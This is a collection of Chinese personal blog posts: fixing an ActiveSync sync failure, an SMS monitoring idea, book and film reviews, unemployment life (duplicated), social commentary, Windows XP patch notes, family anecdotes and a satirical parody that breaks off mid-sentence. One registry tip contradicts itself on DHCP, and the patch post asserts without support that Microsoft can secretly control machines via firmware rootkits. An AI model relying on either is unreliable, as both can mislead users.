只所以用这么长的名字，表达同一个意思，就是因为手机不能同步，折腾了两个晚上才解决，用上面那些关键字，搜索出来的文章，大部分都是一样，都是互相抄来抄去。许多人照些那些技巧操作，最后都无法解决问题。大部分最后采用了什么办法呢？就是硬启，重新灌系统。
完全照搬文章的指导，只能得到一个绝望的结果。凡事还得靠自己。其实一切复杂的背后，都有一个简单的原因。最后，我只是观察了在连接过程中的变化，就找到了根源，很快把问题解决了。解决问题，关键要自己思考，观察一切变化中的异常。
折腾的这两个晚上，我首先根据网上的文章，总共尝试了如下的方法。
我做过以下努力：
1、关闭防火墙，杀毒软件，以及一切与安全相关的工具，如金山毒霸、360安全卫士等一类，并且在防火墙相关的设置中，加入了activesync需要的一系列端口。这些端口列表，在稍后给出，也可以在微软的站点上找到。
Inbound TCP:
990
999
5678
5721
26675
Outbound UDP:
5679 "
2、多次重装同步软件，多次电脑重启，多次手机重启。而且重装和重启的步骤，尝试每次都不同。有时连线，有时断线后重启重装，有时重装到不同目录。而且换机器装。
3、换另一个USB接口，担心电压不够。而且也换另一台机器相连。
4、电脑属性-设备管理器-通用串行总线控制器-电源管理，禁用了节电模式。
5、尝试了移动U盘功能，电脑可以识别2G的移动设备（miniSD卡），数据线应该正常。
6、手机 设置-连接-由USB连接到PC，去掉了"启用高级网络功能"那个勾。
7、电脑 控制面板-管理工具-服务 DHCP Client 已启动。
8、在电脑的网络连接里，关于手机那个设备标识连接中，把TCP/IP协议.网络客户登录等协议都选上。其实默认是选上的。
9、连接手机时，我的电脑里多出一个手机图标，名字是4个字符的乱码（重装系统后知道原来是"移动设备"），断开后，重启电脑，图标一直不消失。
10、现在不管怎么重启电脑和手机，右下角的图标一直是灰色，不会变成转动的绿色，不会自动搜索设备，永远显示"无合作关系"、"未连接"、"正在连接"、"无法连接"、"不能同步"、"无法同步"等，最后却没有任何响应。
11、使用使用memid重建队列后，一直提示"正在连接"，却没有任何响应
12、有时想去掉"启用高级网络功能"，提示无法取消。这个问题是是蓝牙引起的，通过删除接收或发送port，现在又可以取消高级网络功能了。
13、修改ppc的注册表。有的手机能连接，但一会儿就断开，可以尝试如下如地方的注册表
在ppc 的注册表中，加入如下键值：
注册表位置: [HKEY_LOCAL_MACHINE\Drivers\USB\FunctionDrivers\RND IS]
添加值项: MTU
值类型: DWORD
数据: 1514 (decimal)
注册表位置: [HKEY_LOCAL_MACHINE\Drivers\USB\FunctionDrivers\RND IS]
添加值项: MaxOutTransfer
值类型: DWORD
数据: 1642 (decimal)

14、修改设备名：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows CE
Services\Partners,改设置->系统->关于->设备标识->设备名,再重试
15、使用蓝牙（红外）方式同步，可以看到验证用户，连接，再同步，在同步这一项上，仍然显示"正在同步"，睡了一觉回来再看，还是这样的显示界面。
16、修改ppc的注册表，使其用dhcp得到ip
HKEY_LOCAL_MACHINE\Comm\RNDISFN1\Parms\TcpIp
Change
EnableDHCP=1
to
EnableDHCP=0
16、使用mem maid重建通知队列和activesync同步队列，看不到效果
17、重装了activesync数遍，每次都是重启。在另一台机器上安装后，故障同样。看来，问题主要出在手机上面。最近改动比较多，记不清了。
18、dhcp已经自动启动。应该不是PC上的问题。手机上的问题，该如何调试呢？

进行到这一步，没有几个人不会绝望吧？网上的信息，浩如烟海，太多了，根本看不过来，用google搜关键字，ppc activesync
error，太绝望了。还是动自己的脑筋吧。
经过上面几次，也换了机器安装activesync，可以断定，错误出来ppc手机上面。坚决不能硬启，当时折腾cdma
EVDO的时候，就已经费一通劲了。当时折腾的步骤好像也发在blog上面了，但现在想起来，似乎用手编改了好多地方，也记不清了。当时别人搞不定，才让我捡了个便宜。但，手机上出现问题如何调试呢？
先看看里面有哪些变化的东西。
插上USB线，电脑上首先出现一个"网络连接"，多了一个windows
mobile的网络连接，然后activesync开始同步。手机上呢，有个用户验证的过程，登录后，就没有下文了。整个过程，和VPN用户的登录过程非常相似。看来，手机同步的过程，就是一个虚拟的VPN登录过程。首先建设网络接口，再而同步数据。
先看看网络接口连接这一步有没有问题。
在电脑上，查看新建立的网络连接，ip为 169.254.2.2，猜测ppc应该为 169.254.2.1，ping一下，果然通了。不错，第一步有回应了。
到ppc手机上面，找到开始，设置，连接，无线局域网，在左下角的菜单中，找到网卡一项。设置网卡里面的每个设备类型，把所有的ip，改为自动获取，再将usb中的高级网络功能去掉，重新连接后，OK.终于可以同步了。
看来，还是要相信自己。解决问题的思路，是警觉整个事件变化有哪些，引起这些变化的因素有哪些？里面有异常吗？导致这些异常会有哪些可能？沿着这条线索，就能找到问题的根源。
和解决其它问题一样，寻找答案的过程，非常繁琐。但最后找到答案后，再回头一看，其实走了许多弯路，只要有好的思路，思考问题的好方法，我们解决问题的过程，本来应该可以更快捷一些。
碰上这么个麻烦事，也并不一定是坏事，我不就从这儿收获了许多吗？这样想下来，眼前的困难，都是财富。

业务网络系统的短信监控，某高校的ssl vpn设备捐赠

先说说第一个，业务网络系统的短信监控
短信监控是个非常好的应用，方便快速。
可以用到哪些方面呢？举几个案例来看。
针对网站、OA、网络监控、ERP等都有许多丰富应用。比如网站，可以监控网站的httping值，响应时间、响应速度、是否中了网站木马，是否中了病毒，是否被黑，网页是否被串改，网站的单位时间访问数是多少、当前用户数是多少、ip分布规律。结合我以前完成的一个监控工具，可以监控一个地区的网站，及时发现有没有攻击事件，事件频率，攻击来源等诸多有用的特征。其它几种应用，都有类似。使用短信监控，可以及时报警，最快速度地处理问题。
以前实现的短信监控，都是通过通过串口或usb挂一个gsm猫（有的用专用短信号，费用更高，需要到运营处申请），在设备里放一个sim手机卡生成短信，一条一毛钱，一段时间下来，算下来可不少钱呢。
现在有了更好的方法，可以一分钱不用花，就可以用短信监控了。用移动飞信类似的东西，就可以很好地实现。只不过飞信没有开放api，需要自己抓包分析。还算好，比QQ的包要容易些。好处是，一分钱也不用花了，短信的发送完全是免费的。只要上好了平台，就可以不用考虑短信的成本问题了。
其实除了短信监控，用机器所连的modem进行语音、传真报警都非常容易实现。在linux下，使用几句话的脚本，直接
atd某个号码就可以了。是不是很容易？除了短信、语音，其实，还可以使用QQ/msn/skype/gtalk等一大堆的im工具，提供种类繁多的报警界面。现在，先实现短信和语音。其它im已经有人开发了大量的第三方应有，相信咱们可以学到很多经验，应该可以搞定的。
恩，刚才站桩时想了很多，急着跑回来，现在又似乎忘了许多东西。对，还有个应该着重提一下，接到短信，或其它种类的报警，都是可以互动的，比如回复短信，或回电操作，可以在监控平台上完成许多操作。比如OA这样的办公自动化平台，可以使用回复，完成一个公文的查阅和批复。
还有什么来着？还真是想不大起来了。以后再写。

另一件事，为某高校，提供我们自己开发的ssl vpn设备，免费赠送，象免费赠送安全设备给我们的客户一样，为山东高校一些应用提供ssl
vpn设备，可以解决OA和电子资源，在校外网络的应用问题，可以很好地解决速度和安全问题。有兴趣的朋友，请与我联系。

国家机密

看完了《国家机密》，感觉故事编写的不错。但文笔似乎一般。
乐手的死，引出一个主线索，一颗痣，没想到最后的名字，竟然是易克智。
中间为了追查一颗痣代表的意义，怀疑了好几个人，也追查出了不少事情
八所丢了资料，找出一人惯偷。刚要追查，小偷头子意外死亡。引出八所内部的间谍，无面人
一个可疑对象，张铨意外死亡，却因此留下许多疑点，最终破了此案，抓到无面人，此案破解

但上面的影子计划，只是jim安排的一系列间谍行动。接迎一直在jim集团做卧底的"乐手"，出现意外情况。乐手临终前，说了句"一颗痣"。

中间有中间回家，同学聚会，都是伏笔。老爸的易家菜绝技，同学聚会碰到老同学王跃龙。还有相对象的小菲。

再去动力所卧底。追查出了袁工及其儿子。追着泄露的火箭推进原料这个线索，找出了更多的隐藏。由袁工，找到谢韵，可惜因其自杀线索中断。中间出现一个美女老总金梦。发现在谢韵的交货过程中，出现过此人的女扮男装的身影。于是，为了挖出背后更大的鱼，决定到金梦的公司卧底。后半部分，基本是这个公司的描写。卧底的危险性和智慧较量，占了故事的大半部分。
首先是接近，凭借已有资源，显示出自身价值。进入后，有效利用现有关系，取得最大信任。在各种试探中，保持冷静，不急不燥，最后比拼演技，布下一个个局中局，最后抓获大头。

天才巨星李小龙

          看了《李小龙传奇》。电视拍的不一定水平高，但却让人感慨万千，感动于李小龙的鲜明个性，率直、敢做敢当、黑白分明、努力进取。
         才二十来岁，一个人在美国，竟然能取得那么大的成就，真是不容易。
          咱们在那个年龄，还在到处寻找帮助，向父母要钱，没有生活来源，连自己都养不活，更对这个世界的认识肤浅，事业上更是毫无建树。真是没法比呀。这样的成功是怎么得来的？
      真羡慕，李小龙在学习武术的过程中，那么多的良师益友。在香港，有叶大师有好师兄，也有宽容的王云生；到了美国，有木村的帮助，有那个什么度教授，中间还认识了很多其它的朋友。要做成一番事业，良师益友是不可缺少的，要有可以交流的圈子。
看完了李小龙传奇，想法很多。
        许多人都在异乡奋斗 。李小龙更是在美国，背井离乡，竟然取得这么大的成功。对中国武术稍有了解的人都知道，武术里有许多玄之又玄的东西，比如内功，比如传说，比如。。。从这个角度，李小龙的武功没法肯定是最高的，但他创立的截拳道，一定是最有进取力的武术思想。这种思想可能不是最伟大，可能无法达到老子的道德经，孔子的论语一类的高度，但这种进取心却前所未有，让人感觉很是震憾、感动。许多人，在陌生的城市买了房，娶了媳妇，有了一定事业，收入，圈子，经过了多少辛苦，心里多少苦闷。看《李小龙传奇》，尤其是一个人打拼的那种经历，一定会有共鸣吧。
       晚上，又看了《猛龙过江》。这么好的片子，竟然是李小龙自导自演，并且是自己写的剧本？武学上能达到那种高度，想法在文艺方面，竟然也是天才中的天才。谁说李小龙狂妄自大？看看《猛龙过江》里面，他其实对中国人自古的一些劣根性，描述的很清晰。里面那个娘娘腔的翻译，还有最后暴露狰狞面目的王叔，这几种人，在许多地方不是很有代表性吗？娘娘腔一类，对外奴颜婢膝，对内装腔做势仗势欺人，看到了吧？给老板出点的时候，显的多有智慧呀？有些国人的智慧，许多时候就是表现在这个时候。还有那个王叔，作恶都有充分的理由，都是别人的责任，而且隐藏的很好，关键时候，背后来一刀。许多时候，愤青们都在郁闷地想，中国还有希望吗？多少年来，经济发展了，物质丰富了，但一些人想事做事的思维习惯，变了多少呢？有多少丑恶，就藏在一个个冠冕堂皇之中呢？
        为什么李小龙是绝无仅有的？想想，这样的个性，这样的天才，能活的安稳吗？很快就被北京来的交通部高官禽兽林给灭了吧？即使不灭，也会被足协/体育总局一类型机构，打压的抬不起头来。躲的了这样的官，也躲不了黑社会。现实中，还不是得罪了一帮收保护费，就只能远走他乡了。所以，做人，真的要内方外圆，尤其是这样的现实。但即使圆滑了，就不会得罪人了吗？许多时候，不一定你做了什么，只是因为你的存在，就会受到责难。那个谁不是喊了句啥来着？"谁让你不幸生在中国"!!!!操他妈的，我爱这个国家。我无法选择出生，无论如何，我爱这个国家。

经济危机下的幸福生活

经济危机下的幸福生活


   美国华尔街的金融危机，愈演愈烈。虽然还没有对中国造成很多的冲击，但对我们这些中小私人企业的打工一族，还是立即看到了影响。公司没了，失业了，没收入了。没钱没收入的日子真是痛苦，但经过一段时间，也发现了很多乐趣。
        每天无所事事，时间完全自己掌握。计划着发挥自己所长，注册一个公司提供网络安全服务，于是注册了合拍科技有限公司，为人提供渗透攻击测试、风险评估、加固防护、黑客追踪一类的服务。刚开始活不多，每天早上晚上，都在想着一天的时间怎么打发。干活，想干多少就干多少；看书，看累了就去打会儿篮球；看电影，周一到周三都有优惠，可以用半价到电影院去欣赏电影。最近几部很好看的国产片子：画片、即日启程。感觉比以前的国产大片好看多了，没想到失业后，看着电影也比以前好看多了。时间上的自由了一段时间，有时挺迷茫，不知道该干些啥了。没人在后面催着，感觉不到一点儿紧迫，睡觉睡到手抽筋，数钱数到自然醒，一切随心由性，想干啥干啥。堕落了一段时间，整天看电影到深夜，"免费"做渗透测试到凌晨，也是累个够呛。和以前的生活差别太大了。老是过这样的生活，感觉太堕落，于是制定计划：

22:30前，搂着小宝宝睡觉
5:30 起床，操场跑三圈
5:50-7:00 看书
7:05-7:30 玩篮球
8:00 吃饭
9:30-18:00 图书馆看书、商务操作、写下网络安全的攻击与防护心得、整理案例
19:00 看书
19:30-22:30 看书，陪小宝宝玩，然后睡觉。睡前操场跑三圈,站桩15分钟

          这样下来，还真是神清气爽，感觉还挺有成就感。再也不用赶工熬夜了，再也不用推杯唤盏了，再也不会腰酸背疼腿抽筋了，有规律的生活，比什么灵丹妙药都管用。时间上的自由，让自己感觉第一次做了自己的主人，可以随心所欲地生活。
       衣服只要干净就行。不用穿的那么正式，随便拿一件套上，穿上休闲鞋，随时可以跑到体育场打俩场篮球。典型的行头，上下一身的运行服，提着thinkpad电脑包，转悠于篮球场和图书馆之间。
几个图书馆之间都转遍了，不能不提一下我的交通工具。无论走到哪儿，都会有人问一下，这是从哪儿买的？速度很快，可以超过时速50，最快时比摩托车还快，到哪儿去都是一眨眼的功夫。而且还能健身，比每天去健身馆还要管用，没多长时间，腹肌又重新回来了。当当当，现在隆重推出：我的改装山地电动车，普通一辆山地车，再加上电机、电池、控制器，就成了一辆既有速度又能健身，一级棒的操控性，骑上去和F1赛车一样爽的神车。另外，还要特别提一下，电池太牛了，虽然只有36V，但不用每天冲电，在一天到晚骑着到处转悠的情况下，电池可以用三四天，是不是强到和手机似的？没有哪个电动车可以这么厉害吧？因为在低速时很少用电，下坡时，关掉电比平常跑的还快，上坡时用最少的电蹬着车子，感觉非常轻，象逃跑的泥鳅吱溜一下就跑没影了。看着街上那些漂亮的小汽车，我也阿Q式地自我解嘲起来，还是我的车子最实用，到哪儿都能最快到达，几天充一次电，最高功率充电80w*3小时 = 0.24度，再*0.5元约等于1毛多钱，这可是几天才1毛多钱啊！现在1毛钱能买啥呀？而且，没有养路费和各式保险，也没有各种过路费和不可遇知的风险。话说学车的时候就已知道，现在有车的都是弱势群体，到哪儿都受气挨欺负，还得交这个花那个的。唯一好处就是提高社交圈，挡风遮雨。咱这车最起码先把最重要的第一目标实现了，除了上高速没法比，在城市里比小车快多了，指哪打哪，能近能远。昨天花1块钱，去五金店买了零件若干，把车子做了下升级。哪天锂铁电池便宜了，燃料电池商用了，再升级换代，准备再骑个三五十年。
      因为有了山地电动车的帮助，可以很快就到达想去的任何地方。跑到附近的农贸市场了。买了一袋今年刚出的小米。熬出粥来，吃的我又哭双笑。一袋新小米，一百来块钱，一个冬天都吃不完，那味道好的，比几百块钱一桌的酒菜，几十块钱一杯的咖啡还棒，浓香、温暖、回味无穷。玉米花生，青菜萝卜，海鲜水货，各式的农产品，吃一周也不过百多块钱，而且味道比饭馆的更香更纯正。有了这五谷杂粮的养育，嘿，瞧咱这身体，牙也不疼了，腿也不痒了，腰也不酸了，脸也有光了，这生活质量，比挣那点工资累的脸色发青时可强多了。
     失业了，也不用出差了。在家呆着，睡在自家干净的纯棉被单上，心里踏实无比。再也不会被半夜的骚扰电话叫起，"先生，您需要特殊服务吗？"，也不会看着哪怕五星级酒店，那看似发白的被单下，还有这个那个的故事，展转反侧地睡一觉，醒来总觉的身上发痒。
       时间上自由、行动上自由、穿衣上自由、吃饭更营养、住在家里更踏实，赚钱多少由自己控制，有更多时间跟圈子朋友相聚，看书学习上更方便，有时间看书看电影享受生活了。 失业了，才发现生活中还有这么多的幸福，人生过半，竟然一直忽略。在繁忙的时候，我们失去了观察的眼睛，也失去了各种的自由。还有什么比失去自由更可惜的呢？

经济危机下的幸福生活

经济危机下的幸福生活


美国华尔街的金融危机，愈演愈烈。虽然还没有对中国造成很多的冲击，但对我们这些中小私人企业的打工一族，还是立即看到了影响。公司没了，失业了，没收入了。没钱没收入的日子真是痛苦，但经过一段时间，也发现了很多乐趣。
每天无所事事，时间完全自己掌握。计划着发挥自己所长，注册一个公司提供网络安全服务，于是注册了合拍科技有限公司，为人提供渗透攻击测试、风险评估、加固防护、黑客追踪一类的服务。刚开始活不多，每天早上晚上，都在想着一天的时间怎么打发。干活，想干多少就干多少；看书，看累了就去打会儿篮球；看电影，周一到周三都有优惠，可以用半价到电影院去欣赏电影。最近几部很好看的国产片子：画片、即日启程。感觉比以前的国产大片好看多了，没想到失业后，看着电影也比以前好看多了。时间上的自由了一段时间，有时挺迷茫，不知道该干些啥了。没人在后面催着，感觉不到一点儿紧迫，睡觉睡到手抽筋，数钱数到自然醒，一切随心由性，想干啥干啥。堕落了一段时间，整天看电影到深夜，"免费"做渗透测试到凌晨，也是累个够呛。和以前的生活差别太大了。老是过这样的生活，感觉太堕落，于是制定计划：
晚上10:30前，搂着小宝宝睡觉
早上5:30 起床，操场跑三圈
5:50-7:00 看书
7:05-7:30 玩篮球
8:00 吃饭
9:30-18:00 图书馆看书、商务操作、写下网络安全的攻击与防护心得、整理案例
19:00 看书
19:30-22:30 看书，陪小宝宝玩，然后睡觉。睡前操场跑三圈,站桩15分钟
这样下来，还真是神清气爽，感觉还挺有成就感。再也不用赶工熬夜了，再也不用推杯唤盏了，再也不会腰酸背疼腿抽筋了，有规律的生活，比什么灵丹妙药都管用。时间上的自由，让自己感觉第一次做了自己的主人，可以随心所欲地生活。
衣服只要干净就行。不用穿的那么正式，随便拿一件套上，穿上休闲鞋，随时可以跑到体育场打俩场篮球。典型的行头，上下一身的运行服，提着thinkpad电脑包，转悠于篮球场和图书馆之间。
几个图书馆之间都转遍了，不能不提一下我的交通工具。无论走到哪儿，都会有人问一下，这是从哪儿买的？速度很快，可以超过时速50，最快时比摩托车还快，到哪儿去都是一眨眼的功夫。而且还能健身，比每天去健身馆还要管用，没多长时间，腹肌又重新回来了。当当当，现在隆重推出：我的改装山地电动车，普通一辆山地车，再加上电机、电池、控制器，就成了一辆既有速度又能健身，一级棒的操控性，骑上去和F1赛车一样爽的神车。另外，还要特别提一下，电池太牛了，虽然只有36V，但不用每天冲电，在一天到晚骑着到处转悠的情况下，电池可以用三四天，是不是强到和手机似的？没有哪个电动车可以这么厉害吧？因为在低速时很少用电，下坡时，关掉电比平常跑的还快，上坡时用最少的电蹬着车子，感觉非常轻，象逃跑的泥鳅吱溜一下就跑没影了。看着街上那些漂亮的小汽车，我也阿Q式地自我解嘲起来，还是我的车子最实用，到哪儿都能最快到达，几天充一次电，最高功率充电80w*3小时 = 0.24度，再*0.5元约等于1毛多钱，这可是几天才1毛多钱啊！现在1毛钱能买啥呀？而且，没有养路费和各式保险，也没有各种过路费和不可遇知的风险。话说学车的时候就已知道，现在有车的都是弱势群体，到哪儿都受气挨欺负，还得交这个花那个的。唯一好处就是提高社交圈，挡风遮雨。咱这车最起码先把最重要的第一目标实现了，除了上高速没法比，在城市里比小车快多了，指哪打哪，能近能远。昨天花1块钱，去五金店买了零件若干，把车子做了下升级。哪天锂铁电池便宜了，燃料电池商用了，再升级换代，准备再骑个三五十年。
因为有了山地电动车的帮助，可以很快就到达想去的任何地方。跑到附近的农贸市场了。买了一袋今年刚出的小米。熬出粥来，吃的我又哭双笑。一袋新小米，一百来块钱，一个冬天都吃不完，那味道好的，比几百块钱一桌的酒菜，几十块钱一杯的咖啡还棒，浓香、温暖、回味无穷。玉米花生，青菜萝卜，海鲜水货，各式的农产品，吃一周也不过百多块钱，而且味道比饭馆的更香更纯正。有了这五谷杂粮的养育，嘿，瞧咱这身体，牙也不疼了，腿也不痒了，腰也不酸了，脸也有光了，这生活质量，比挣那点工资累的脸色发青时可强多了。
失业了，也不用出差了。在家呆着，睡在自家干净的纯棉被单上，心里踏实无比。再也不会被半夜的骚扰电话叫起，"先生，您需要特殊服务吗？"，也不会看着哪怕五星级酒店，那看似发白的被单下，还有这个那个的故事，展转反侧地睡一觉，醒来总觉的身上发痒。
时间上自由、行动上自由、穿衣上自由、吃饭更营养、住在家里更踏实，赚钱多少由自己控制，有更多时间跟圈子朋友相聚，看书学习上更方便，有时间看书看电影享受生活了。 失业了，才发现生活中还有这么多的幸福，人生过半，竟然一直忽略。在繁忙的时候，我们失去了观察的眼睛，也失去了各种的自由。还有什么比失去自由更可惜的呢？

笑点低了

就像10个月的儿子一逗就笑，最近我的笑点也低了，不知是不是因为这个原因，还是国产影片的确拍的好了。最近看了二个国产电影，感觉都非常好看。

《画皮 》，整体上都不错，虽然不会再看第二遍，但作为纯粹的娱乐，让人感觉坐下来欣赏这样一部片子，也算是种享受。具体哪儿好，看过才知道。
《即日启程》，感觉比画皮拍的更好。虽然范伟的特色没有拍出来，但整个故事写的挺逗的，情节安排的挺好，表演也非常真挚，让人看了心底有些感动，有些高兴。

   具体说不上哪儿好，推荐看看吧。

问题出在哪儿了？

2008年10月下旬，国内又出了几件让人深思的事件。

1、几个官员出逃，都跑到法国去了。浙江的几个省管干部去法国考察的时候，跑了，以各种理由不回来了，有的用身体有病无法回国为由，有的以会亲访友为由，逃出不归，还有个上海哪个区的副区长，也是去法国考察期间，溜之大吉。据说有的官，还一直看上去清正廉明的样子 ，只是民间有些传言，说是如何如何，都没有证实的事情，没想到最后的结果，都让人有更多想法了。

   据说，很多领导的子女，都早到国外享受去了，连老婆也不在身边，一个人在国内"努力奋斗"着，无论承担多少风险，最起码老婆孩子先在国外过上贵族般的奢侈生活了。这种官，现在有个专有的名词，称之为"裸官"。当裸官成为一种现象的时候，官员的出逃，也是不奇怪了。但是当腐败成为一种规则的时候，我们的国家还有希望吗？

2、最近几天，还有个新闻，央视名嘴当官。央视的几个知名主持人，现在知道的有三个 ，一个去丽江当副市长，一个去哪儿当区长助理，还有个似乎去共青团中央。为什么这个也成了热点？因为很多人关注着这事吗？一个知名主持人，一下子是如何当上官的？调迁的程序合法吗？再者，咱不考试程序，也得为当地的官员考虑呀。这一下子来个空降军，打破了多少人的按步升迁的顺序和希望啊？多少人又得重新排队了，原来的期望落空，不知要骂多少娘了。
     看看这么多人挤着当公务员，就知道很多人不是为奉献来的，而是为了活的更加舒适，更加有更多的自由，什么物质和精神方面啥 的，想想，家里有个当官的，七大姑八大姨也跟着沾光呀。我们这儿也空降了个幼儿园园长，据说是某书记的司机的外甥媳妇，恩，似乎还不算很远的关系，不过怎么说，此园长在看护小朋友的时候，为了减少小朋友上厕所的次数，禁止喝水，遭家长质疑的时候，还嚣张地说，"不要和小孩那么幼`稚好不好？"，所谓一人得道，鸡犬不宁鸡鸡犬升天，只要有机会，谁不想当官呀？

3、还有个事情想不通，在最近几天，据说有6个日本人写来了感谢信。咱可是很少收到外国人给咱写感谢信呀，这个事可非常重要，于是就报道开了。结果，我们从新闻中，不是看到了我们一贯的自豪感，而是让我们有了更多的疑问：为什么日本人为了赶飞机，就可以让中国的火车停开一分钟？我们晚点的时候，有这待遇吗？另外，在下火车后，又安排警车开道，送到飞机场，是不是这些公用财产，国家机器，都可以在某些人的自由意志下，自由处置和安排。

现在看某些新闻，感觉比小说还要有趣，风光 的背后，让人想的更多，疑惑更多，我不知道这一切是怎么出现的，为什么还在源源不断地出现，根源在哪儿？这么多故事一般的真实，为什么是咱中国人源源不断创造出来的？就像制造劣质产品，食品里添加各式各样东西，咱中国人一贯有强大的创造力，难道这也是表现创造力的一个地方？

继续补丁着，这个最重要

最近有蠕虫病毒，会感染所有的xp机器，微软紧急火急地推出补丁，编号 KB958644-，赶紧到微软站点去下载吧，最近又有不少的故事发生了，看来是


WindowsXP-KB958644-x86-  635KB

为了应对黑屏，现在许多人对微软的补丁比较谨慎了，该打的补丁也不打了，不过，微软的系统，下来的东西谁知道都有什么作用呀？有几个人会脱壳会ida反汇编去跟踪一番呢？大部分还是持着半信半疑的心理，装也不是，不装也不是。

其实，现在的linux发展的很好了，方便安装，操作起来与windows也差不了多少。用熟悉以后，操作起来很爽，许多操作可以用键盘就做了，非常快和方便。这个熟悉的过程，也非常短，用不了几天，就可以很好地操作了。据说，在有些地方，新学电脑的人，都是用linux，掌握起来比windows快多了。

新手入手，推荐使用ubuntu，非常好用。

用了windows，你知道里面有什么呀？想黑屏就黑屏，想黑你就黑你，微软借助这个widnows平台，比任何黑客都有破坏力，随便就可以操纵任意的系统，即使想拿你机器的文件，想看操作记录，想重启，想怎么样就怎么样，现在虽然网上出现了这么多的黑屏破解，似乎看上去是道高一尺魔高一丈，微软出点什么方案，最后都破解了。其实，在技术者看来，微软只是在执行某种策略，要做到完全控制盗版用户，查看他们的机器，文件，权限。。。。都是很容易做到的。不在这个行业不知道，实际上，现在的cmos，硬盘微码，电池，光驱。。。。这些里面，都可以放进rootkit，就是木马或者说后门，都是很容易做到的。个人技术者都可以很容易地实现，绝对不要低估了微软的技术实力，他们做类似的东西，还不简单？

上了贼船，再下就难了。盗版的权当盗着，但这船啥时候会翻，谁也说不准，未雨绸缪，赶紧熟悉liunux吧，总有一天用的着。而且，用linux，会过快乐的生日，好比开车和自行车， 你的体会会很是不同，会省出不少工作力，干自己更专注的事情。想想呆在电脑前的时间，和呆在车里的时间，linux只会让你更有收获，更加快乐。

又打了一堆补丁

早上一开机，机器上的auto update自动打开了！以前都是手工升级，只显示升级提示的，看来昨天晚上的补丁还在继续着，只下载了还没有补完。

虽然系统是原装正版的，买thinkpad自带的，但最近的微软黑屏行动，也可能误伤正版用户，黑屏提示里不是有吗？"您可能是盗版软件的受害者。。。。"微软这样的公司，上升到这样高度的智力，措词一向圆满，滴水不漏

过一会儿，系统就提示，让我重启机器，查看了今天升级的补丁，共有两个：编号为kb956841和kb954211，也有可能是最近几天的几个xp非常严重的漏洞，打开微软的链接，想查查这两个编号的漏洞信息，看看是微软搞的正版验证，还是漏洞，半天了一直打不开相关页面，还真是神奇，这样的时刻，微软的网站反而不能访问，平时倒是挺快的。没办法，还是google吧。
 

今天升级的两个东东，看看是什么东东。第一个：

虚拟地址描述符操作中的漏洞可能允许特权提升 (956841)
发布日期： 十月 14, 2008
摘要
此安全更新可解决虚拟地址描述符中一个秘密报告的漏洞。 如果用户运行特制的应用程序，则该漏洞可能允许特权提升。 成功利用此漏洞并经过身份验证的攻击者可以在受影响的系统上获得特权提升。 攻击者随后可安装程序；查看、更改或删除数据；或者创建拥有完全管理权限的新帐户。

对于 Windows XP、Windows Server 2003、Windows Vista 和 Windows Server 2008 的所有受支持版本，此安全更新的等级为"重要"。
此安全更新通过修改虚拟地址描述符处理内存分配变量的方式来解决该漏洞。

第二个：：
Windows 内核中的漏洞可能允许特权提升 (954211)
发布日期： 十月 14, 2008
摘要
此安全更新可解决 Windows 内核中一个公开披露和两个秘密报告的漏洞。 成功利用这些漏洞的本地攻击者可以完全控制受影响的系统。 匿名用户无法利用这些漏洞，也无法以远程方式利用这些漏洞。

对于 Microsoft Windows 2000、Windows XP、Windows Server 2003、Windows Vista 和 Windows Server 2008 的所有受支持版本，此安全更新的等级为"重要"。
此安全更新通过更正创建新窗口过程中所通过的窗口属性验证、更正多个线程中系统调用的处理方式以及更正通过用户模式传递到 Windows 内核的参数的验证来解决这些漏洞。
Microsoft 建议客户尽早应用此更新。


最近的补丁真多啊，全是高危漏洞，每个都非常严重。以前那个图形漏洞最厉害，所有的IE都跑不掉，不，应该说所有的windowns用户都跑不掉

儿子的犯罪记录

儿子现在10个月，喜欢撕书敲键盘，见了计算机，就猛扑过去。最近因为没拦住，接连干了二件事：
1、前几天头凑到我眼前，非要摸键盘，拗不过他，就让他敲了，一抬头，忽然看到有程序提示：确认删除。。。还没等我取消，一闪而过，直接确认了，到回收站里再看，竟然一点儿也没影子。这小子真狠，竟然用了不可恢复的删除。啥时候学会的？

2、昨天晚上，妈妈正在看贴子，小宝宝又啊呀啊呀地凑过来，摸摸鼠标看里面的红光，赶紧抢下来。他毫不在意，一转手又去抓键盘，把浏览器打开菜单又关上又窗口化，让妈妈没法看贴子。我朝后抱他，使劲向外撑，还要努力扑到键盘，再看屏幕，中间快速地显示出一行字来：：
"能奈我何哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵"
也不知道是怎么敲上去的。机器上装的是google的拼音输入法

bt hacking

http://whatiswrongwiththeworldtoday.com/hacking/bluetooth-hacking

比较全了，知道的基本都在里面

让青春继续

http://hi.baidu.com/%C2%EC%D2ϵ%C4%CC%EC%CF%C2/blog/item/a03c6cd0b744b78da0ec9c01.html

小说mp3下载，一部挺有意思的小说

自己制作ssd硬盘

http://we.pcinlife.com/viewthread.php?tid=887616&statsdata=209%7C%7C995402

图文并茂，简单清楚

奇文妙语，续

却是一件"天庭人口准入制度"，不由大喜："此物一出，全中国人都发抖，正可用来对
付山野村猴，等我丢下去打他一下。观音妹子，这趟功劳要让给我了。"观音娇嗔道："
讨厌，人家不跟你玩了啦。"老君涎脸笑道："妹子莫气，这一击若得手，定将此役拍做
主旋律电影，妹子作为主角，由我家女丑女丑扮演，所有院线同时上映，何如？"观音这
才回嗔作喜。


只见老君将那法宝自天门上往下一掼，滴溜溜，可可的着猴王头上一下，将大圣打翻在地
，众天庭公安一拥而上，将大圣捆个结实，再也不能变化。一公安怒道： "这厮令我等吃
了不少苦头，今日一发还了他罢！饶你个孙悟空，今日要将你变做孙志刚！"正待把出手
段，却有另一公安叫道："且慢，我等老手段土得掉渣，如今时兴与国际接轨，那驻伊美
军虐囚，手段千变万化，何不学得一二，今日做个新鲜耍子？"众公安一听，齐声称妙，
便将大圣押去斩妖台，电击火烧，刀砍斧剁，却伤不得大圣分毫。

玉帝见状，不由踌躇："这厮这等，这等……如何处治？"老君奏道："不若与老君领去
，放在八卦炉中，炼出我的丹来，何如？"玉帝闻听大喜，便将大圣赐与老君锻炼。殊不
知大圣神通广大，拔下一根毫毛，变做美钞，贿赂了扇火童子，得知那巽位下有风无火，
前往躲避，未曾受得重伤。


七七四十九日满，老君开炉取丹，却见大圣飞身而出，使金箍棒大杀四方，打得天宫中九
曜星闭门闭户，四天王无影无踪。直打到通明殿前，玉帝见状大惊，忙叫道："快，关门
